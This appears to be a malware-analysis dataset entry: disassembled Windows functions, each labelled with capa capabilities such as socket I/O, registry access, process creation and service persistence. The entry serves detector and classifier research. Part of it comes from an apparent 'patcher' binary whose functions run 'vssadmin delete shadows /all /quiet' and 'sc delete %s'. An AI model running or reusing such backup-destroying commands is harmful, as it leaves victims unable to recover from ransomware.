joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400c2ba0
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
mov rcx, qword [rcx]
mov rax, qword [rcx + 0x1e0]
cmp dword [rax + 0x10], 0
je 0x1400c2bd8
mov r8d, reloc.WS2_32.dll_listen
mov dword [rbx + 0xab8], 0xd
mov dl, 1
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp fcn.1400c2cf0
cmp byte [rcx + 0xf0e], 0
je 0x1400c2bf0
xor edx, edx
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp fcn.1400c36e0
cmp byte [rcx + 0xf11], 0
je 0x1400c2c91
mov r8, qword [rbx + 0xa88]
test r8, r8
jne 0x1400c2c4b
mov r8, qword [rcx + 0xc08]
test r8, r8
jne 0x1400c2c2e
cmp byte [rcx + 0xf0d], 0
lea rax, str.NLST
lea r8, str.LIST
cmovne r8, rax
lea rcx, [rbx + 0xa00]
lea rdx, str.PRET__s
call fcn.1400d93e0
test eax, eax
je 0x1400c2c81
add rsp, 0x20
pop rbx
ret
cmp byte [rcx + 0xf1d], 0
lea rcx, [rbx + 0xa00]
je 0x1400c2c71
lea rdx, str.PRET_STOR__s
call fcn.1400d93e0
test eax, eax
je 0x1400c2c81
add rsp, 0x20
pop rbx
ret
lea rdx, str.PRET_RETR__s
call fcn.1400d93e0
test eax, eax
jne 0x1400c2c9e
mov dword [rbx + 0xab8], 0x1d
add rsp, 0x20
pop rbx
ret
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp fcn.1400c3650
add rsp, 0x20
pop rbx
ret

Function at 0x1400c2fe0
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push rbx
sub rsp, 0x20
mov rax, qword [rcx]
mov rbx, rcx
mov rdx, qword [rax + 0x1e0]
cmp dword [rdx + 0x10], 0
je 0x1400c302d
cmp qword [rcx + 0xa88], 0
je 0x1400c302d
add rcx, 0xa00
lea rdx, str.REST__d
xor r8d, r8d
call fcn.1400d93e0
test eax, eax
jne 0x1400c3037
mov dword [rbx + 0xab8], 0x1a
add rsp, 0x20
pop rbx
ret
add rsp, 0x20
pop rbx
jmp fcn.1400c2ba0
add rsp, 0x20
pop rbx
ret

Function at 0x1400c31c0
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
add rcx, 0xa00
mov rax, qword [rbx]
mov rdx, qword [rax + 0x1e0]
cmp dword [rdx + 0x10], 1
jne 0x1400c320c
mov r8, qword [rcx + 0x88]
test r8, r8
je 0x1400c320c
lea rdx, str.SIZE__s
call fcn.1400d93e0
test eax, eax
jne 0x1400c3219
mov dword [rbx + 0xab8], 0x17
add rsp, 0x20
pop rbx
ret
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp fcn.1400c2fe0
add rsp, 0x20
pop rbx
ret

Function at 0x1400c3220
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
mov r9, qword [rcx]
cmp byte [r9 + 0xf1c], 0
je 0x1400c3278
cmp qword [rcx + 0xa88], 0
je 0x1400c3278
cmp byte [r9 + 0xf0b], 0
mov eax, 0x41
mov edx, 0x49
cmovne edx, eax
movsx eax, byte [rcx + 0xaa8]
cmp eax, edx
je 0x1400c3278
mov rax, qword [r9 + 0x1e0]
mov r8d, reloc.WS2_32.dll_send
mov dword [rax + 0x10], 1
movzx edx, byte [r9 + 0xf0b]
jmp fcn.1400c1ac0
jmp fcn.1400c31c0
Function at 0x1400c3280
Capabilities:
Check http status code

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x30
xor ebx, ebx
lea eax, [rdx - 0xc8]
mov rdi, rcx
mov rcx, qword [rcx]
mov esi, r8d
cmp eax, 0x64
jb 0x1400c32b5
lea rdx, str.Couldnt_set_desired_mode
call fcn.1400a54f0
lea eax, [rbx + 0x11]
add rsp, 0x30
pop rdi
pop rsi
pop rbx
ret
cmp edx, 0xc8
je 0x1400c32cc
mov r8d, edx
lea rdx, str.Got_a__03d_response_code_instead_of_the_assumed_200_n
call fcn.1400a5670
mov qword [rsp + 0x58], rbp
mov qword [rsp + 0x60], r14
cmp esi, 0x13
jne 0x1400c32e8
mov rcx, rdi
call fcn.1400c31c0
jmp 0x1400c341f
cmp esi, 0x14
jne 0x1400c3401
mov rsi, qword [rdi]
mov rbp, rbx
cmp dword [rsi + 0xba0], 2
jne 0x1400c3369
mov rax, qword [rsi + 0x1e0]
mov rdx, qword [rax]
test rdx, rdx
je 0x1400c3369
mov byte [rsp + 0x28], 1
lea r9, [rsp + 0x50]
xor r8d, r8d
mov qword [rsp + 0x20], rbx
mov rcx, rsi
mov qword [rsp + 0x50], rbx
call fcn.14008e260
test eax, eax
jne 0x1400c341f
mov rcx, qword [rsp + 0x50]
lea edx, [rax + 0x2f]
call sub.VCRUNTIME140.dll_strrchr
test rax, rax
je 0x1400c335e
mov rbp, qword [rsp + 0x50]
mov ecx, 1
sub rax, rbp
cmovne rcx, rax
mov byte [rcx + rbp], bl
jmp 0x1400c3369
mov rcx, qword [rsp + 0x50]
call qword [fcn.1400dfe4c]
mov rdx, qword [rsi + 0xc08]
test rdx, rdx
jne 0x1400c338d
cmp byte [rsi + 0xf0d], bl
lea rax, str.NLST
lea rdx, str.LIST
cmovne rdx, rax
lea r8, [0x1400e9924]
test rbp, rbp
mov r9, r8
lea rax, [0x1400ea2ec]
cmovne r9, rbp
lea rcx, [0x1400f76f0]
cmovne r8, rax
call fcn.1400934b0
mov rcx, rbp
mov r14, rax
call qword [fcn.1400dfe4c]
test r14, r14
jne 0x1400c33cc
lea ebx, [r14 + 0x1b]
jmp 0x1400c3421
lea rcx, [rdi + 0xa00]
mov r8, r14
lea rdx, [0x1400ef188]
call fcn.1400d93e0
mov rcx, r14
mov esi, eax
call qword [fcn.1400dfe4c]
test esi, esi
je 0x1400c33f5
mov ebx, esi
jmp 0x1400c3421
mov dword [rdi + 0xab8], 0x1f
jmp 0x1400c3421
cmp esi, 0x15
jne 0x1400c340c
lea r8d, [rsi - 8]
jmp 0x1400c3415
cmp esi, 0x16
jne 0x1400c3421
lea r8d, [rsi - 8]
mov dl, 1
mov rcx, rdi
call fcn.1400c2cf0
mov ebx, eax
mov r14, qword [rsp + 0x60]
mov eax, ebx
mov rbp, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
pop rsi
pop rbx
ret
Function at 0x1400c8d10
Capabilities:
Write file on windows

Disassembly:
sub rsp, 0x38
cmp byte [rcx + 0xf1e], 0
movsxd r10, r9d
je 0x1400c8e34
cmp r8d, 0xff
jne 0x1400c8d71
lea eax, [r10 - 0xec]
cmp eax, 0x13
ja 0x1400c8d5b
lea r8, [0x140000000]
mov r9, qword [r8 + r10*8 + 0xfda20]
mov r8, rdx
lea rdx, str._s_IAC__s_n
add rsp, 0x38
jmp fcn.1400a5670
mov r8, rdx
mov r9d, r10d
lea rdx, str._s_IAC__d_n
add rsp, 0x38
jmp fcn.1400a5670
cmp r8d, 0xfb
jne 0x1400c8d83
lea r9, str.WILL
jmp 0x1400c8dc1
cmp r8d, 0xfc
jne 0x1400c8d95
lea r9, str.WONT
jmp 0x1400c8dc1
cmp r8d, 0xfd
jne 0x1400c8da7
lea r9, [0x1400fe444]
jmp 0x1400c8dc1
xor r9d, r9d
lea rax, str.DONT
cmp r8d, 0xfe
cmove r9, rax
test r9, r9
je 0x1400c8e1d
cmp r10d, 0x27
jg 0x1400c8df4
lea r8, [0x140000000]
mov r8, qword [r8 + r10*8 + 0xfe040]
test r8, r8
jne 0x1400c8e04
mov r8, rdx
mov dword [rsp + 0x20], r10d
lea rdx, str._s__s__d_n
call fcn.1400a5670
add rsp, 0x38
ret
cmp r10d, 0xff
jne 0x1400c8ddb
lea r8, str.EXOPL
mov qword [rsp + 0x20], r8
mov r8, rdx
lea rdx, str._s__s__s_n
call fcn.1400a5670
add rsp, 0x38
ret
mov r9d, r8d
mov dword [rsp + 0x20], r10d
mov r8, rdx
lea rdx, str._s__d__d_n
call fcn.1400a5670
add rsp, 0x38
ret

Function at 0x1400c9180
Capabilities:
Send data
Send data on socket

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
push rdi
sub rsp, 0x20
mov rbp, qword [rcx]
mov edi, r8d
mov esi, edx
mov byte [rax + 0x10], 0xff
xor r9d, r9d
mov byte [rax + 0x11], sil
mov rbx, rcx
mov byte [rax + 0x12], dil
mov rcx, qword [rcx + 0x4c0]
lea rdx, [rax + 0x10]
lea r8d, [r9 + 3]
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x1400c91df
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.1400a54f0
mov rcx, qword [rbx]
lea rdx, str.SENT
mov r9d, edi
mov r8d, esi
call fcn.1400c8d10
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret
Function at 0x1400c9390
Capabilities:
Send data
Send data on socket

Disassembly:
cmp edx, 0x1f
jne 0x1400c9538
push rbp
push rdi
push r14
sub rsp, 0x20
mov rbp, qword [rcx]
mov r14, rcx
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], r15
mov rdi, qword [rbp + 0x1e0]
lea rsi, [rdi + 0x1cb8]
lea rbx, [rdi + 0x1eb8]
mov qword [rbx], rsi
cmp rsi, rbx
jae 0x1400c93f5
lea rax, [rsi + 1]
mov byte [rsi], 0xff
mov qword [rbx], rax
cmp rax, rbx
jae 0x1400c93f5
mov byte [rax], 0xfa
inc qword [rbx]
mov rax, qword [rbx]
cmp rax, rbx
jae 0x1400c93f5
mov byte [rax], dl
inc qword [rbx]
movzx ecx, word [rdi + 0x1ca8]
call qword [sym.imp.WS2_32.dll_htons]
movzx ecx, word [rdi + 0x1caa]
movzx r15d, ax
mov word [rsp + 0x48], ax
call qword [sym.imp.WS2_32.dll_htons]
mov r9, qword [rbx]
movzx ecx, ax
cmp r9, rbx
jae 0x1400c942c
mov byte [r9], r15b
inc qword [rbx]
mov r9, qword [rbx]
mov r15, qword [rsp + 0x58]
cmp r9, rbx
jae 0x1400c9482
movzx eax, byte [rsp + 0x49]
mov byte [r9], al
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x1400c9482
mov byte [r9], cl
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x1400c9482
shr cx, 8
mov byte [r9], cl
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x1400c9482
mov byte [r9], 0xff
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x1400c9482
mov byte [r9], 0xf0
mov r9, qword [rbx]
inc r9
mov qword [rdi + 0x1ec0], r9
lea r8, [rdi + 0x1cba]
sub r9, rsi
mov qword [rbx], rsi
sub r9, 2
mov edx, 0x3e
mov rcx, rbp
call fcn.1400c8e40
mov rcx, qword [r14 + 0x4c0]
xor r9d, r9d
mov rdx, rsi
lea r8d, [r9 + 3]
call qword [sym.imp.WS2_32.dll_send]
mov rsi, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x40]
test eax, eax
jns 0x1400c94e4
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.1400a54f0
lea rdx, [rdi + 0x1cbb]
mov r8d, 4
mov rcx, r14
call fcn.1400c9210
mov rcx, qword [r14 + 0x4c0]
lea rdx, [rdi + 0x1cbf]
xor r9d, r9d
lea r8d, [r9 + 2]
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x1400c9530
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.1400a54f0
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
Function at 0x1400caca0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rbx
push rdi
push r14
sub rsp, 0xd0
mov rax, qword [0x14012f680]
xor rax, rsp
mov qword [rsp + 0xc0], rax
mov rbx, qword [rcx + 0xa00]
lea rax, [rsp + 0x30]
mov rdi, qword [rcx]
mov r14, rcx
mov dword [rsp + 0x30], 0x80
xor r9d, r9d
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x40]
mov r8d, dword [rbx + 0x15c]
mov rdx, qword [rbx + 0x168]
add r8d, 4
mov rcx, qword [rbx + 0x18]
mov qword [rsp + 0x20], rax
call qword [sym.imp.WS2_32.dll_recvfrom]
cmp dword [rbx + 0x150], 0
mov dword [rbx + 0x154], eax
jne 0x1400cad35
movsxd r8, dword [rsp + 0x30]
lea rcx, [rbx + 0xd0]
lea rdx, [rsp + 0x40]
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rsp + 0x30]
mov dword [rbx + 0x150], eax
mov r8d, dword [rbx + 0x154]
mov qword [rsp + 0xf8], rbp
mov qword [rsp + 0x100], rsi
cmp r8d, 4
jge 0x1400cad96
lea rdx, str.Received_too_short_packet
mov rcx, rdi
call fcn.1400a54f0
mov dword [rbx + 0xc], 7
xor eax, eax
mov rsi, qword [rsp + 0x100]
mov rbp, qword [rsp + 0xf8]
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.1400df060
add rsp, 0xd0
pop r14
pop rdi
pop rbx
ret
mov rdx, qword [rbx + 0x168]
movzx eax, byte [rdx]
movzx ecx, byte [rdx + 1]
shl eax, 8
or ecx, eax
mov dword [rbx + 0xc], ecx
sub ecx, 3
je 0x1400cae51
sub ecx, 1
je 0x1400caec4
sub ecx, 1
je 0x1400cae00
cmp ecx, 1
je 0x1400cade3
lea r8, str.Internal_error:_Unexpected_packet
mov rcx, rdi
lea rdx, [0x1400ef188]
call fcn.1400a54f0
jmp 0x1400caec4
add r8d, 0xfffffffe
add rdx, 2
mov rcx, rbx
call fcn.1400ca9d0
test eax, eax
je 0x1400caec4
jmp 0x1400cad6a
movzx ecx, byte [rdx + 2]
lea eax, [r8 - 4]
movsxd rbp, eax
lea rsi, [rdx + 4]
movzx eax, byte [rdx + 3]
mov r8, rbp
shl ecx, 8
xor edx, edx
or ecx, eax
mov dword [rbx + 8], ecx
mov rcx, rsi
call sub.VCRUNTIME140.dll_memchr
test rax, rax
je 0x1400caec4
sub rax, rsi
cmp rax, rbp
jae 0x1400caec4
mov r8, rsi
lea rdx, str.TFTP_error:__s_n
mov rcx, rdi
call fcn.1400a5670
jmp 0x1400caec4
cmp r8d, 4
jle 0x1400caec4
movzx eax, byte [rdx + 3]
movzx ecx, byte [rdx + 2]
shl ecx, 8
or ecx, eax
movzx eax, word [rbx + 0x48]
inc eax
movzx eax, ax
cmp eax, ecx
jne 0x1400caec4
lea eax, [r8 - 4]
mov rcx, r14
lea r8, [rdx + 4]
movsxd r9, eax
mov edx, 1
call fcn.1400a5410
mov esi, eax
test eax, eax
je 0x1400caea3
mov edx, 5
mov rcx, rbx
call fcn.1400cb990
mov eax, esi
jmp 0x1400cad6a
mov eax, dword [rbx + 0x154]
mov rcx, rdi
sub eax, 4
cdqe
add qword [rdi + 0xf8], rax
mov rdx, qword [rdi + 0xf8]
call fcn.1400b3dc0
mov rcx, r14
call fcn.1400b40a0
test eax, eax
je 0x1400cad68
mov edx, 5
mov rcx, rbx
call fcn.1400cb990
mov eax, Ordinal_45
jmp 0x1400cad6a
Function at 0x1400ddc60
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rdi
push r14
sub rsp, 0x20
mov eax, dword [rcx + 0x18]
mov rbx, rcx
mov ebp, r8d
mov r14, rdx
lea ecx, [rax + rax]
mov eax, dword [rbx + 0x20]
add rax, 0x18
add rcx, rax
call qword [sub.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
jne 0x1400ddca2
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
lea rcx, [rax + 0x18]
mov qword [rax], rbx
mov qword [rax + 8], rcx
mov eax, dword [rbx + 0x18]
add rax, rcx
mov qword [rsp + 0x48], rsi
mov qword [rdi + 0x10], rax
cmp ebp, dword [rbx + 0x1c]
jbe 0x1400ddce9
call qword [rbx]
mov rcx, qword [rdi + 8]
mov r8d, ebp
mov rdx, r14
call qword [rbx + reloc.WS2_32.dll_htonl]
mov r14d, dword [rbx + 0x18]
add r14, qword [rdi + 0x10]
mov rdx, qword [rdi + 8]
mov rcx, r14
call qword [rbx + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi + 8]
mov ebp, dword [rbx + 0x20]
call qword [rbx]
mov rcx, qword [rdi + 0x10]
call qword [rbx]
xor esi, esi
test rbp, rbp
je 0x1400ddd42
mov rsi, rbp
nop dword [rax + rax]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x36
mov r8d, 1
mov byte [rsp + 0x40], al
mov rcx, qword [rdi + 8]
call qword [rbx + reloc.WS2_32.dll_htonl]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x5c
lea r14, [r14 + 1]
mov byte [rsp + 0x40], al
mov r8d, 1
mov rcx, qword [rdi + 0x10]
call qword [rbx + reloc.WS2_32.dll_htonl]
sub rbp, 1
jne 0x1400ddd00
mov eax, dword [rbx + 0x1c]
cmp rsi, rax
jae 0x1400ddd83
nop word [rax + rax]
mov rcx, qword [rdi + 8]
lea rdx, [0x1401015d2]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov rcx, qword [rdi + 0x10]
lea rdx, [0x1401015d3]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov eax, dword [rbx + 0x1c]
inc rsi
cmp rsi, rax
jb 0x1400ddd50
mov rsi, qword [rsp + 0x48]
mov rax, rdi
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret

Function at 0x1400ddf4c
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x1400ddf86
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x1400ddf8b
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x1400ddfd4
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, reloc.WS2_32.dll_accept
cmp byte [rcx + rax], 0
je 0x1400ddfd4
dec r8
sub rdx, 1
jne 0x1400ddfba
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret
Function at 0x1400dfa58
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400dfaa2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400dfaa2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400dfaa2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400dfaa2
cmp dword [rcx + 0x84], 0xe
jbe 0x1400dfaa2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400dfaa4
xor al, al
add rsp, 0x28
ret
Function at 0x140001552
Capabilities:
Write file on windows

Disassembly:
xor r8d, r8d
lea rdx, str._INFO__patcher_session_started.__r_n
lea rcx, [0x140010560]
jmp fcn.140001f03

Function at 0x140001568
Capabilities:
Write file on windows

Disassembly:
xor r8d, r8d
lea rdx, str._INFO__patcher_session_ended.__r_n
lea rcx, [0x140010560]
jmp fcn.140001f03

Function at 0x14000157e
Capabilities:
Delete volume shadow copies

Disassembly:
sub rsp, 0x28
call fcn.14000217c
nop
add rsp, 0x28
jmp 0x1400021a4
push rbx
sub rsp, 0x20
lea rbx, [0x1400108c0]
lea rdx, str.vssadmin_delete_shadows__all__quiet
mov rcx, rbx
call fcn.140001860
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp 0x140002009

Function at 0x140001889
Capabilities:
Create process on windows

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x4d0
xor ebx, ebx
lea rsi, str.btstrpd
mov ebp, ecx
mov r12, rdx
cmp ebp, ebx
jle 0x1400018c1
mov rcx, qword [r12 + rbx*8]
mov rdx, rsi
inc rbx
call sub.msvcrt.dll_strstr
test rax, rax
je 0x1400018a4
jmp 0x1400019b8
xor ecx, ecx
xor eax, eax
lea rdi, [rsp + 0xe0]
mov r8d, 0x400
mov qword [rsp + 0xd0], rcx
lea rbx, [rsp + 0xd0]
mov qword [rsp + 0xd8], rcx
mov ecx, 0xfc
mov rdx, rbx
rep stosd dword [rdi], eax
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x1400019b8
lea rdi, [0x14000c1a8]
mov rcx, rbx
xor esi, esi
mov rdx, rdi
call sub.msvcrt.dll_strcat
inc rsi
cmp ebp, esi
jle 0x140001937
mov rdx, qword [r12 + rsi*8]
mov rcx, rbx
call sub.msvcrt.dll_strcat
mov rdx, rdi
mov rcx, rbx
call sub.msvcrt.dll_strcat
jmp 0x140001917
lea rdx, str.btstrpd
mov rcx, rbx
call sub.msvcrt.dll_strcat
mov rdx, rdi
mov rcx, rbx
lea rdi, [rsp + 0x6c]
call sub.msvcrt.dll_strcat
xor eax, eax
mov ecx, 0x19
xor edx, edx
rep stosd dword [rdi], eax
lea rdi, [rsp + 0x50]
mov ecx, 6
xor r9d, r9d
rep stosd dword [rdi], eax
lea rax, [rsp + 0x50]
mov dword [rsp + 0x28], edx
xor r8d, r8d
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x68]
mov qword [rsp + 0x40], rax
xor eax, eax
mov dword [rsp + 0x20], edx
mov rdx, rbx
mov dword [rsp + 0x68], 0x68
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x1400019b8
xor ecx, ecx
call sub.msvcrt.dll_exit
nop
add rsp, 0x4d0
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x1400019c6
Capabilities:
Set registry value

Disassembly:
push rsi
push rbx
sub rsp, 0x48
xor eax, eax
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x38]
mov rsi, r8
xor r8d, r8d
mov dword [rsp + 0x78], r9d
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
movsxd rbx, eax
test rbx, rbx
jne 0x140001a28
lea rax, [rsp + 0x78]
mov rcx, qword [rsp + 0x38]
xor r8d, r8d
mov rdx, rsi
mov dword [rsp + 0x28], 4
mov r9d, 4
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
movsxd rbx, eax
mov rcx, qword [rsp + 0x38]
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x140001a3d
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rax, rbx
add rsp, 0x48
pop rbx
pop rsi
ret
Function at 0x140001a47
Capabilities:
Query or enumerate registry value

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
xor eax, eax
mov qword [rsp + 0x48], rax
mov rdi, r8
lea rax, [rsp + 0x48]
xor r8d, r8d
mov dword [rsp + 0x44], r8d
mov rsi, r9
xor r8d, r8d
mov r9d, 0xf003f
mov dword [rsp + 0x3c], 4
mov dword [rsp + 0x40], 4
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
movsxd rbx, eax
test rbx, rbx
jne 0x140001acc
lea rax, [rsp + 0x40]
mov rcx, qword [rsp + 0x48]
xor r8d, r8d
mov rdx, rdi
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x44]
lea r9, [rsp + 0x3c]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
movsxd rbx, eax
test rbx, rbx
jne 0x140001acc
mov eax, dword [rsp + 0x44]
mov dword [rsi], eax
mov rcx, qword [rsp + 0x48]
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x140001ae1
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rax, rbx
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret

Function at 0x140001e1f
Capabilities:
Get file size
Read file on windows

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
xor r9d, r9d
mov rbp, r8
xor r8d, r8d
mov dword [rsp + 0x28], pe_nt_image_headers64
mov r12, rdx
mov qword [rsp + 0x30], r8
mov edx, 0xc0000000
xor r8d, r8d
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
lea rax, [rax - 1]
cmp rax, 0xfffffffffffffffd
ja 0x140001ee3
lea rdx, [rsp + 0x48]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov rdi, qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x140001ede
mov r13, qword [rsp + 0x48]
test r13, r13
je 0x140001ede
lea rdx, [r13 + 1]
mov ecx, 1
call sub.msvcrt.dll_calloc
mov rsi, rax
test rax, rax
je 0x140001ede
xor edx, edx
xor eax, eax
lea r9, [rsp + 0x44]
mov r8d, r13d
mov qword [rsp + 0x20], rdx
mov rcx, rbx
mov rdx, rsi
mov dword [rsp + 0x44], eax
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140001ee7
mov eax, dword [rsp + 0x48]
mov qword [r12], rsi
mov rcx, rbx
inc eax
mov dword [rbp], eax
call rdi
mov eax, 1
jmp 0x140001ef6
mov rcx, rbx
call rdi
xor eax, eax
jmp 0x140001ef6
mov rcx, rbx
call rdi
mov rcx, rsi
call sub.msvcrt.dll_free
jmp 0x140001ee3
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
Function at 0x140001f03
Capabilities:
Write file on windows

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
xor r9d, r9d
xor ebp, ebp
mov edi, r8d
xor r8d, r8d
mov dword [rsp + 0x28], pe_nt_image_headers64
mov rbx, rdx
mov qword [rsp + 0x30], r8
mov edx, 0x100004
xor r8d, r8d
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
lea rax, [rax - 1]
cmp rax, 0xfffffffffffffffd
ja 0x140001f83
xor eax, eax
mov rcx, rbx
xor ebp, ebp
mov dword [rsp + 0x4c], eax
call sub.msvcrt.dll_strlen
xor edx, edx
mov rcx, rsi
lea r9, [rsp + 0x4c]
mov qword [rsp + 0x20], rdx
mov r8d, eax
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rsi
test eax, eax
setne bpl
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x140001f93
mov ecx, 0x100
xor eax, eax
mov rdi, rbx
rep stosd dword [rdi], eax
mov eax, ebp
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
ret

Function at 0x140002009
Capabilities:
Create process on windows

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0xe0
xor esi, esi
xor edx, edx
xor r9d, r9d
mov eax, esi
xor r8d, r8d
mov rbx, rcx
lea rdi, [rsp + 0x7c]
mov ecx, 0x19
mov dword [rsp + 0x78], 0x68
rep stosd dword [rdi], eax
lea rdi, [rsp + 0x60]
mov ecx, 6
rep stosd dword [rdi], eax
lea rax, [rsp + 0x60]
mov dword [rsp + 0x28], edx
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x78]
mov qword [rsp + 0x40], rax
xor eax, eax
mov dword [rsp + 0x20], edx
mov rdx, rbx
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x14000207f
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x1400020c2
mov rcx, qword [rsp + 0x60]
or edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rdx, [rsp + 0x5c]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov rdi, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x60]
call rdi
mov rcx, qword [rsp + 0x68]
call rdi
mov eax, esi
mov ecx, pe_nt_image_headers64
mov rdi, rbx
rep stosd dword [rdi], eax
mov eax, dword [rsp + 0x5c]
add rsp, 0xe0
pop rbx
pop rsi
pop rdi
ret
push rbx
sub rsp, 0x20
lea rbx, [0x1400108c0]
lea rdx, str.sc_delete__s
mov r8, rcx
mov rcx, rbx
call fcn.140001860
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp 0x140002009

Function at 0x1400020cd
Capabilities:
Persist via windows service

Disassembly:
push rbx
sub rsp, 0x20
lea rbx, [0x1400108c0]
